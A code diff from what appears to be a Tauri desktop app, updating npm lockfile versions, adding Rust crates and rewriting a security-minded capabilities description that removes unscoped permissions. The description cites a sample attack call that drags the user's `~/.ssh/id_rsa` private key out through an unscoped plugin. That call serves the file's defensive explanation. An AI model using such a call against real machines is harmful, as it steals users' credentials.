+        "@babel/types": "^7.29.11",
         "debug": "^4.3.1"
       },
       "engines": {
@@ -402,14 +402,14 @@
       }
     },
     "node_modules/@babel/types": {
-      "version": "7.29.0",
-      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz",
-      "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==",
+      "version": "7.29.11",
+      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.11.tgz",
+      "integrity": "sha512-WCsemW40Cpc6gouC1SrY6PBaZ+oLRlEVY9XBvZBI7il/HyUrb2nJ505wE1MHEFyDZNnrWDEuy4jL50WVHfTTSQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@babel/helper-string-parser": "^7.27.1",
-        "@babel/helper-validator-identifier": "^7.28.5"
+        "@babel/helper-string-parser": "^7.29.11",
+        "@babel/helper-validator-identifier": "^7.29.7"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -2526,31 +2526,31 @@
       }
     },
     "node_modules/@vitest/expect": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.0.18.tgz",
-      "integrity": "sha512-8sCWUyckXXYvx4opfzVY03EOiYVxyNrHS5QxX3DAIi5dpJAAkyJezHCP77VMX4HKA2LDT/Jpfo8i2r5BE3GnQQ==",
+      "version": "4.1.12",
+      "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.12.tgz",
+      "integrity": "sha512-vFlTt+YEu9WBpNjdGayNmlMVzrWPi1+sv853/7t2FU7hpO5gAFBKHzQmkCq5Xjpr+evegF2994LQT3hF3mRlqQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@standard-schema/spec": "^1.0.0",
+        "@standard-schema/spec": "^1.1.0",
         "@types/chai": "^5.2.2",
-        "@vitest/spy": "4.0.18",
-        "@vitest/utils": "4.0.18",
-        "chai": "^6.2.1",
-        "tinyrainbow": "^3.0.3"
+        "@vitest/spy": "4.1.12",
+        "@vitest/utils": "4.1.12",
+        "chai": "^6.2.2",
+        "tinyrainbow": "^3.1.0"
       },
       "funding": {
         "url": "https://opencollective.com/vitest"
       }
     },
     "node_modules/@vitest/mocker": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.0.18.tgz",
-      "integrity": "sha512-HhVd0MDnzzsgevnOWCBj5Otnzobjy5wLBe4EdeeFGv8luMsGcYqDuFRMcttKWZA5vVO8RFjexVovXvAM4JoJDQ==",
+      "version": "4.1.12",
+      "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.12.tgz",
+      "integrity": "sha512-fKShNpKZzupWZuY0z7egydvL0sqW4INEZBEExMBMAa6izlENEVHwoXgdaTCaBZ5fwlr4xf2o1wXC83n9RpO+NA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@vitest/spy": "4.0.18",
+        "@vitest/spy": "4.1.12",
         "estree-walker": "^3.0.3",
         "magic-string": "^0.30.21"
       },
@@ -2559,7 +2559,7 @@
       },
       "peerDependencies": {
         "msw": "^2.4.9",
-        "vite": "^6.0.0 || ^7.0.0-0"
+        "vite": "^6.0.0 || ^7.0.0 || ^8.0.0"
       },
       "peerDependenciesMeta": {
         "msw": {
@@ -2571,26 +2571,26 @@
       }
     },
     "node_modules/@vitest/pretty-format": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.0.18.tgz",
-      "integrity": "sha512-P24GK3GulZWC5tz87ux0m8OADrQIUVDPIjjj65vBXYG17ZeU3qD7r+MNZ1RNv4l8CGU2vtTRqixrOi9fYk/yKw==",
+      "version": "4.1.12",
+      "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.12.tgz",
+      "integrity": "sha512-XW9O8+Mxx4VpCtkYdMJLZQQwsVryP9wk7cPKDxtXFfwSak6yRh5+2fep/Y0XF/ElBvJHq8bcYdi6aeuai0opZA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "tinyrainbow": "^3.0.3"
+        "tinyrainbow": "^3.1.0"
       },
       "funding": {
         "url": "https://opencollective.com/vitest"
       }
     },
     "node_modules/@vitest/runner": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.0.18.tgz",
-      "integrity": "sha512-rpk9y12PGa22Jg6g5M3UVVnTS7+zycIGk9ZNGN+m6tZHKQb7jrP7/77WfZy13Y/EUDd52NDsLRQhYKtv7XfPQw==",
+      "version": "4.1.12",
+      "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.12.tgz",
+      "integrity": "sha512-NKlVKCr5QnCe8jijdMnmkpHHU+WTqiLFR6G0pHji9uRjXK9xJl1k1nTw6F3pOOj2PDcsDt2GKQMI7wIsaT491w==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@vitest/utils": "4.0.18",
+        "@vitest/utils": "4.1.12",
         "pathe": "^2.0.3"
       },
       "funding": {
@@ -2598,13 +2598,14 @@
       }
     },
     "node_modules/@vitest/snapshot": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.0.18.tgz",
-      "integrity": "sha512-PCiV0rcl7jKQjbgYqjtakly6T1uwv/5BQ9SwBLekVg/EaYeQFPiXcgrC2Y7vDMA8dM1SUEAEV82kgSQIlXNMvA==",
+      "version": "4.1.12",
+      "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.12.tgz",
+      "integrity": "sha512-ko1y1Qgb/slzQ9mr+b89Cuqud8WG1TKtsPD8r7ZUBdvVOGt85Af2HwCqHujrhwJq95hs/9RM7fcAPg57o1vlzw==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@vitest/pretty-format": "4.0.18",
+        "@vitest/pretty-format": "4.1.12",
+        "@vitest/utils": "4.1.12",
         "magic-string": "^0.30.21",
         "pathe": "^2.0.3"
       },
@@ -2613,9 +2614,9 @@
       }
     },
     "node_modules/@vitest/spy": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.0.18.tgz",
-      "integrity": "sha512-cbQt3PTSD7P2OARdVW3qWER5EGq7PHlvE+QfzSC0lbwO+xnt7+XH06ZzFjFRgzUX//JmpxrCu92VdwvEPlWSNw==",
+      "version": "4.1.12",
+      "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.12.tgz",
+      "integrity": "sha512-RGq9x4JNGNTZHEJxvN0oSiJjeSCExm0n2gZKKJZHY9cX5AVA6M7VJILBT3ZJ/tJ/0J9uWT7fETV9/btoi//vSg==",
       "dev": true,
       "license": "MIT",
       "funding": {
@@ -2623,14 +2624,15 @@
       }
     },
     "node_modules/@vitest/utils": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.0.18.tgz",
-      "integrity": "sha512-msMRKLMVLWygpK3u2Hybgi4MNjcYJvwTb0Ru09+fOyCXIgT5raYP041DRRdiJiI3k/2U6SEbAETB3YtBrUkCFA==",
+      "version": "4.1.12",
+      "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.12.tgz",
+      "integrity": "sha512-Q3awXrwOfEV+qc3WmO5ONyE0yO7Q1gQ9/oyHxGLZ/pl7N3NO/ZztqQwKLuwMkV+CA1JYSIeO3gkHnRDIo4AVaA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@vitest/pretty-format": "4.0.18",
-        "tinyrainbow": "^3.0.3"
+        "@vitest/pretty-format": "4.1.12",
+        "convert-source-map": "^2.0.0",
+        "tinyrainbow": "^3.1.0"
       },
       "funding": {
         "url": "https://opencollective.com/vitest"
@@ -2759,9 +2761,9 @@
       }
     },
     "node_modules/baseline-browser-mapping": {
-      "version": "2.10.0",
-      "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.0.tgz",
-      "integrity": "sha512-lIyg0szRfYbiy67j9KN8IyeD7q7hcmqnJ1ddWmNt19ItGpNN64mnllmxUNFIOdOm6by97jlL6wfpTTJrmnjWAA==",
+      "version": "2.11.34",
+      "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.11.34.tgz",
+      "integrity": "sha512-Aqr8mA1kIvyJ3UY5YAY7ib8LSo1DmDMbMnVqGPtsKW1LxaFQFwn9Eb3yvq2fUKJsRvaXjnAV7R5osqETapzNiA==",
       "dev": true,
       "license": "Apache-2.0",
       "bin": {
@@ -2782,9 +2784,9 @@
       }
     },
     "node_modules/browserslist": {
-      "version": "4.28.1",
-      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz",
-      "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==",
+      "version": "4.29.5",
+      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.29.5.tgz",
+      "integrity": "sha512-khTmKu5NGYTotqcYo8Bew2k4RAE9PuXRSFRXG2lQBrCEQHyeQ/vX6gKMxfokwywBsLiXZMnHsmWMG1pnO8J7uQ==",
       "dev": true,
       "funding": [
         {
@@ -2802,11 +2804,11 @@
       ],
       "license": "MIT",
       "dependencies": {
-        "baseline-browser-mapping": "^2.9.0",
-        "caniuse-lite": "^1.0.30001759",
-        "electron-to-chromium": "^1.5.263",
-        "node-releases": "^2.0.27",
-        "update-browserslist-db": "^1.2.0"
+        "baseline-browser-mapping": "^2.11.33",
+        "caniuse-lite": "^1.0.30001819",
+        "electron-to-chromium": "^1.5.464",
+        "node-releases": "^2.0.60",
+        "update-browserslist-db": "^1.3.4"
       },
       "bin": {
         "browserslist": "cli.js"
@@ -2816,9 +2818,9 @@
       }
     },
     "node_modules/caniuse-lite": {
-      "version": "1.0.30001774",
-      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001774.tgz",
-      "integrity": "sha512-DDdwPGz99nmIEv216hKSgLD+D4ikHQHjBC/seF98N9CPqRX4M5mSxT9eTV6oyisnJcuzxtZy4n17yKKQYmYQOA==",
+      "version": "1.0.30001820",
+      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001820.tgz",
+      "integrity": "sha512-gfWD6MxqVCqAOwmODfZf7DchWvlrA+SRdNX7ceLfg3xRqe5ssjjpF7EgslC/0tiLiNTajdaNN/q8c/5u/7Gz8w==",
       "dev": true,
       "funding": [
         {
@@ -2837,9 +2839,9 @@
       "license": "CC-BY-4.0"
     },
     "node_modules/chai": {
-      "version": "6.2.2",
-      "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz",
-      "integrity": "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==",
+      "version": "6.3.0",
+      "resolved": "https://registry.npmjs.org/chai/-/chai-6.3.0.tgz",
+      "integrity": "sha512-XWAtwJ6OHO+tj0EKCs0Y2UamnyOxseZWltU4x2U2wh8g4AigdjwvtUjvLP2tqkA/avxHEtzxNaqGq/YGNwckKg==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -2981,9 +2983,9 @@
       "peer": true
     },
     "node_modules/electron-to-chromium": {
-      "version": "1.5.302",
-      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.302.tgz",
-      "integrity": "sha512-sM6HAN2LyK82IyPBpznDRqlTQAtuSaO+ShzFiWTvoMJLHyZ+Y39r8VMfHzwbU8MVBzQ4Wdn85+wlZl2TLGIlwg==",
+      "version": "1.5.472",
+      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.472.tgz",
+      "integrity": "sha512-s4+nfT29b0FKpVKoaIxl2pWsoNcn7A/nMPSrxayw4T3BsmPeV2lF9Y06BsAQeMGhCTQ4nYJ5XST7jkqe4ZEqFw==",
       "dev": true,
       "license": "ISC"
     },
@@ -3015,9 +3017,9 @@
       }
     },
     "node_modules/es-module-lexer": {
-      "version": "1.7.0",
-      "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz",
-      "integrity": "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==",
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.3.2.tgz",
+      "integrity": "sha512-poHGpORABojJJucnV9KbOavETW8lBVnphkW77ER5/BQ5Fz7oXSoCNek7IH3vR5nRjdsEz926ibFYX8KtLQmdyw==",
       "dev": true,
       "license": "MIT"
     },
@@ -3616,9 +3618,9 @@
       "license": "MIT"
     },
     "node_modules/nanoid": {
-      "version": "3.3.11",
-      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
-      "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==",
+      "version": "3.3.20",
+      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.20.tgz",
+      "integrity": "sha512-uKdg2G3GNCKQn9byYOpxbGqrT2fGO5KRt5J/8b3pok8rT6qxGWF6hxMyJiEYtAf+FVyYuD9hRaDqX5uPFYJ4ZQ==",
       "dev": true,
       "funding": [
         {
@@ -3635,11 +3637,14 @@
       }
     },
     "node_modules/node-releases": {
-      "version": "2.0.27",
-      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz",
-      "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==",
+      "version": "2.0.63",
+      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.63.tgz",
+      "integrity": "sha512-6li2QanLsAXpIH2R6j77MzRyvOyrvdTqlKtO4CgBdHGNvN99ZZfyxszHc5o5+IZBWD5u6Hzwg83JoGXmqZNG9Q==",
       "dev": true,
-      "license": "MIT"
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      }
     },
     "node_modules/obug": {
       "version": "2.1.1",
@@ -3680,9 +3685,9 @@
       "license": "ISC"
     },
     "node_modules/picomatch": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
-      "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
+      "version": "4.0.7",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz",
+      "integrity": "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -3693,9 +3698,9 @@
       }
     },
     "node_modules/postcss": {
-      "version": "8.5.6",
-      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz",
-      "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==",
+      "version": "8.5.32",
+      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.32.tgz",
+      "integrity": "sha512-LJlKCCAUFKOuZxipUdYw1NzIITEsPcgyOG9LkvRJvuKj/bRzbuRY0ARXvL0pWGpsZvn8jku+LMep2eU0seHp8g==",
       "dev": true,
       "funding": [
         {
@@ -3713,9 +3718,9 @@
       ],
       "license": "MIT",
       "dependencies": {
-        "nanoid": "^3.3.11",
+        "nanoid": "^3.3.20",
         "picocolors": "^1.1.1",
-        "source-map-js": "^1.2.1"
+        "source-map-js": "^1.2.2"
       },
       "engines": {
         "node": "^10 || ^12 || >=14"
@@ -3899,9 +3904,9 @@
       "license": "ISC"
     },
     "node_modules/source-map-js": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
-      "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.2.tgz",
+      "integrity": "sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw==",
       "dev": true,
       "license": "BSD-3-Clause",
       "engines": {
@@ -3916,9 +3921,9 @@
       "license": "MIT"
     },
     "node_modules/std-env": {
-      "version": "3.10.0",
-      "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz",
-      "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==",
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.3.0.tgz",
+      "integrity": "sha512-OtU/EgQ1kIm5KwqQpBC6ZEMXrZRui11w8zgfTWp8cdO9B8OaPsbA8bTHO2P+HNo1VlUTGMVBwPhydu6poeXiag==",
       "dev": true,
       "license": "MIT"
     },
@@ -4004,9 +4009,9 @@
       }
     },
     "node_modules/tinyrainbow": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.0.3.tgz",
-      "integrity": "sha512-PSkbLUoxOFRzJYjjxHJt9xro7D+iilgMX/C9lawzVuYiIdcihh9DXmVibBe8lmcFrRi/VzlPjBxbN7rH24q8/Q==",
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.2.0.tgz",
+      "integrity": "sha512-LgO3D9yZJjApUiuUfl9iFAwrtaX4+lok3wJIqttGoKCHlWUqHqbQpnxCf82L8FjgKsh4iGo78hqJwgL8F6To2A==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -4074,9 +4079,9 @@
       }
     },
     "node_modules/undici": {
-      "version": "7.22.0",
-      "resolved": "https://registry.npmjs.org/undici/-/undici-7.22.0.tgz",
-      "integrity": "sha512-RqslV2Us5BrllB+JeiZnK4peryVTndy9Dnqq62S3yYRRTj0tFQCwEniUy2167skdGOy3vqRzEvl1Dm4sV2ReDg==",
+      "version": "7.30.1",
+      "resolved": "https://registry.npmjs.org/undici/-/undici-7.30.1.tgz",
+      "integrity": "sha512-03KrMbjIFDWQR5RNPrSw3bd1r12JpyFQl9/yxjUbJtqkjmllqC5lFjZh6ujeuJCKr8EOQvRW872Oy/az+nLYxg==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -4084,9 +4089,9 @@
       }
     },
     "node_modules/update-browserslist-db": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz",
-      "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==",
+      "version": "1.3.4",
+      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.3.4.tgz",
+      "integrity": "sha512-t8wonIOdQyOjtPd2VktlBu6QjTVTks6v8bSi7kd0r2Vll8TK1JYDZtRRdbmCHOAMphkZgrzK+L+vXK4pyZ8t4A==",
       "dev": true,
       "funding": [
         {
@@ -4115,9 +4120,9 @@
       }
     },
     "node_modules/vite": {
-      "version": "6.4.1",
-      "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz",
-      "integrity": "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g==",
+      "version": "6.4.5",
+      "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.5.tgz",
+      "integrity": "sha512-4enwjFfi4IwtEh0w+jPzpLVOFQiPHmmzPxcHXQOyEur47o6u0jE573DmGpjA+7irXoMLYRZD5ZaFUEneS3abPg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -4190,31 +4195,31 @@
       }
     },
     "node_modules/vitest": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.0.18.tgz",
-      "integrity": "sha512-hOQuK7h0FGKgBAas7v0mSAsnvrIgAvWmRFjmzpJ7SwFHH3g1k2u37JtYwOwmEKhK6ZO3v9ggDBBm0La1LCK4uQ==",
+      "version": "4.1.12",
+      "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.12.tgz",
+      "integrity": "sha512-5eWdz2yb3ajxWF3C8C4TjkXl7FGm3n2E/VlazALrQHzK7nYMSGFnCZto0bbPNl77AwkOZVLk0YnBAejUu0NiWA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@vitest/expect": "4.0.18",
-        "@vitest/mocker": "4.0.18",
-        "@vitest/pretty-format": "4.0.18",
-        "@vitest/runner": "4.0.18",
-        "@vitest/snapshot": "4.0.18",
-        "@vitest/spy": "4.0.18",
-        "@vitest/utils": "4.0.18",
-        "es-module-lexer": "^1.7.0",
-        "expect-type": "^1.2.2",
+        "@vitest/expect": "4.1.12",
+        "@vitest/mocker": "4.1.12",
+        "@vitest/pretty-format": "4.1.12",
+        "@vitest/runner": "4.1.12",
+        "@vitest/snapshot": "4.1.12",
+        "@vitest/spy": "4.1.12",
+        "@vitest/utils": "4.1.12",
+        "es-module-lexer": "^2.0.0",
+        "expect-type": "^1.3.0",
         "magic-string": "^0.30.21",
         "obug": "^2.1.1",
         "pathe": "^2.0.3",
         "picomatch": "^4.0.3",
-        "std-env": "^3.10.0",
+        "std-env": "^4.0.0-rc.1",
         "tinybench": "^2.9.0",
         "tinyexec": "^1.0.2",
         "tinyglobby": "^0.2.15",
-        "tinyrainbow": "^3.0.3",
-        "vite": "^6.0.0 || ^7.0.0",
+        "tinyrainbow": "^3.1.0",
+        "vite": "^6.0.0 || ^7.0.0 || ^8.0.0",
         "why-is-node-running": "^2.3.0"
       },
       "bin": {
@@ -4230,12 +4235,15 @@
         "@edge-runtime/vm": "*",
         "@opentelemetry/api": "^1.9.0",
         "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0",
-        "@vitest/browser-playwright": "4.0.18",
-        "@vitest/browser-preview": "4.0.18",
-        "@vitest/browser-webdriverio": "4.0.18",
-        "@vitest/ui": "4.0.18",
+        "@vitest/browser-playwright": "4.1.12",
+        "@vitest/browser-preview": "4.1.12",
+        "@vitest/browser-webdriverio": "^4.1.11",
+        "@vitest/coverage-istanbul": "4.1.12",
+        "@vitest/coverage-v8": "4.1.12",
+        "@vitest/ui": "4.1.12",
         "happy-dom": "*",
-        "jsdom": "*"
+        "jsdom": "*",
+        "vite": "^6.0.0 || ^7.0.0 || ^8.0.0"
       },
       "peerDependenciesMeta": {
         "@edge-runtime/vm": {
@@ -4256,6 +4264,12 @@
         "@vitest/browser-webdriverio": {
           "optional": true
         },
+        "@vitest/coverage-istanbul": {
+          "optional": true
+        },
+        "@vitest/coverage-v8": {
+          "optional": true
+        },
         "@vitest/ui": {
           "optional": true
         },
@@ -4264,6 +4278,9 @@
         },
         "jsdom": {
           "optional": true
+        },
+        "vite": {
+          "optional": false
         }
       }
     },

app/src-tauri/Cargo.toml

@@ -21,6 +21,7 @@ bollard = "0.18"
 keyring = { version = "3", features = ["apple-native", "windows-native", "linux-native"] }
 tokio = { version = "1", features = ["full"] }
 futures-util = "0.3"
+bytes = "1"
 uuid = { version = "1", features = ["v4"] }
 chrono = { version = "0.4", features = ["serde"] }
 dirs = "6"
@@ -32,6 +33,13 @@ reqwest = { version = "0.12", default-features = false, features = ["json", "rus
 iana-time-zone = "0.1"
 sha2 = "0.10"
 axum = { version = "0.8", features = ["ws"] }
+# Client side of triple-c-agent's two WebSocket endpoints (host/agent.rs). The
+# same version axum's `ws` already pulls in; plain ws:// only (the transport is
+# loopback or an SSM port-forward), so no TLS features.
+tokio-tungstenite = { version = "0.28", default-features = false, features = ["connect"] }
+# `PollSender`: the agent attach's stdin `AsyncWrite` over a bounded channel.
+# Already in the tree through tokio's ecosystem.
+tokio-util = "0.7"
 tower-http = { version = "0.6", features = ["cors"] }
 base64 = "0.22"
 rand = "0.9"
@@ -43,11 +51,22 @@ zeroize = "1"
 # container. Already in the tree transitively (reqwest), and the point of
 # using it rather than hand-rolling is parity with the frontend's `new URL()`.
 url = "2"
+similar = "2"
+# Marketplace repos are fetched on the host into a bare cache (spec §3).
+# Blocking client + rustls: no git binary or OpenSSL needed on the host.
+gix = { version = "0.88", default-features = false, features = ["blocking-network-client", "blocking-http-transport-reqwest-rust-tls", "credentials", "sha1"] }
+
+# Linux only: WebKitGTK refuses getUserMedia until the embedder enables media
+# streams and answers the permission request (see src/linux_media.rs). Same
+# version tauri/wry already resolve, so this adds no second copy.
+[target.'cfg(target_os = "linux")'.dependencies]
+webkit2gtk = "2.0.2"
 
 [dev-dependencies]
 # `test-util` (not part of tokio's `full`) lets the auto-start retry tests run
 # their backoff schedule under a paused clock instead of in real seconds.
 tokio = { version = "1", features = ["full", "test-util"] }
+tempfile = "3"
 
 [build-dependencies]
 tauri-build = { version = "2", features = [] }

app/src-tauri/capabilities/default.json

@@ -1,6 +1,6 @@
 {
   "identifier": "default",
-  "description": "Default capabilities for Triple-C. Every entry here is an IPC command a compromised webview can call directly, so the set is an enumeration of what `app/src` actually invokes — plugin and core grants verified against tauri 2.11.0's `PLUGINS` table in tauri's own `build.rs` rather than assumed from a plugin's `default` set, app-command grants (the bare `allow-*` entries) cross-checked by this crate's `build.rs` against `generate_handler!`. `core:default` in particular is NOT used: it is an alias for `core:{path,event,window,webview,app,image,resources,menu,tray}:default`, and `core:image:default` carries `allow-from-path`, whose handler (`tauri-2.11.0/src/image/plugin.rs:41` → `src/image/mod.rs:96`) is a bare `std::fs::read(path)` with no scope mechanism of any kind. Nothing imports `@tauri-apps/api/image`, so the whole plugin is dropped rather than scoped — there is nothing to scope it with. `core:menu` and `core:tray` are dropped for the same reason (no menu, no tray icon); `core:window` and `core:path` because nothing imports them; `core:resources:allow-close` because no frontend value is a `Resource`; and `core:event`'s `allow-emit`/`allow-emit-to` because the frontend only ever *listens* — every emit in this app originates in Rust. Three notes on what is deliberately kept or accepted: (1) `core:webview:allow-internal-toggle-devtools` is not called by `app/src` at all — it is called by Tauri's own injected `toggle-devtools.js`, which binds Ctrl/Cmd+Shift+I. Both that script and the command behind it are `#[cfg(any(debug_assertions, feature = \"devtools\"))]`, so this grant is a `tauri dev` convenience that does not exist in a release bundle. (2) `opener:allow-open-url` is **gone**. It could not be narrowed by host — `TerminalView`'s `WebLinksAddon` opens links Claude printed inside the container, which are arbitrary by construction, so a host allowlist would have deleted the feature rather than bounded it — and it was carried here as an accepted residual risk: a compromised webview could make the OS open an attacker-chosen http(s) URL, an outbound channel. That risk is now closed rather than recorded. Every host-browser open in the app goes through the `open_url_external` command in `url_open.rs`, which exists because the AppImage environment leaks into a cold-launched browser on Linux (triple-c#34) and which re-validates the URL in Rust — scheme allowlist, no embedded credentials, no control characters, length cap, ASCII asserted before `execvp`. On macOS and Windows that command reaches the same plugin as before, via `OpenerExt::open_url`, whose desktop implementation calls `crate::open::open` directly and is therefore not gated by this file at all (`tauri-plugin-opener-2.5.3/src/lib.rs:60`). The plugin stays a dependency for exactly that reason; what is removed is the webview's ability to reach it without passing the Rust validation. (3) `drag:allow-start-drag` is **gone**, together with the OS drag-out it existed for. It could not be scoped — `tauri-plugin-drag` takes the item paths from the caller and has no scope mechanism, so a compromised webview could call `startDrag({ item: ['~/.ssh/id_rsa'] })` against any host path the user can read — and it was carried as an accepted residual risk for one gesture. Drag-out was held back for separate hardening (see branch `hold/disk-and-dragout`) and the plugin is no longer a dependency. Getting a file *out* of a container is either \"Back up container\" on the project's Overview tab, which archives a tree through the Docker API, or the Files tab's per-row \"Save to host…\", which copies one file; getting one *in* is a drop on the Terminal or the Files tab's \"Upload…\". None of the four touches this permission. The Files tab's two are worth separating out here, because they are the only host-path commands in the app whose dialog is opened by **Rust** rather than by the webview — `pick_save_path` and `pick_files_to_upload` in `commands/file_commands.rs` drive `tauri-plugin-dialog` from the backend, so a compromised webview can ask for a picker and nothing more: it cannot name a host path as an *input* to either command. Be precise about the limit of that claim — host paths do still travel outward in error text (`Failed to create /home/j/Documents/x.txt.triple-c-part-1a2b3c4d: Permission denied`), including canonicalized ones, which disclose symlink targets. That is accepted; the app already hands the webview the project paths. What is closed is the direction that mattered — the webview naming where bytes go. That is the shape an earlier revision of this file named as the honest one if the Files tab ever regained host I/O, and it is the shape it regained it in. The `dialog:allow-open` / `dialog:allow-save` grants below are therefore *not* what those two use; they remain for the frontend pickers in Add Project, the Config tab's workspace and access sections, the CA-certificate field and Backup. Two commands stillLine truncated
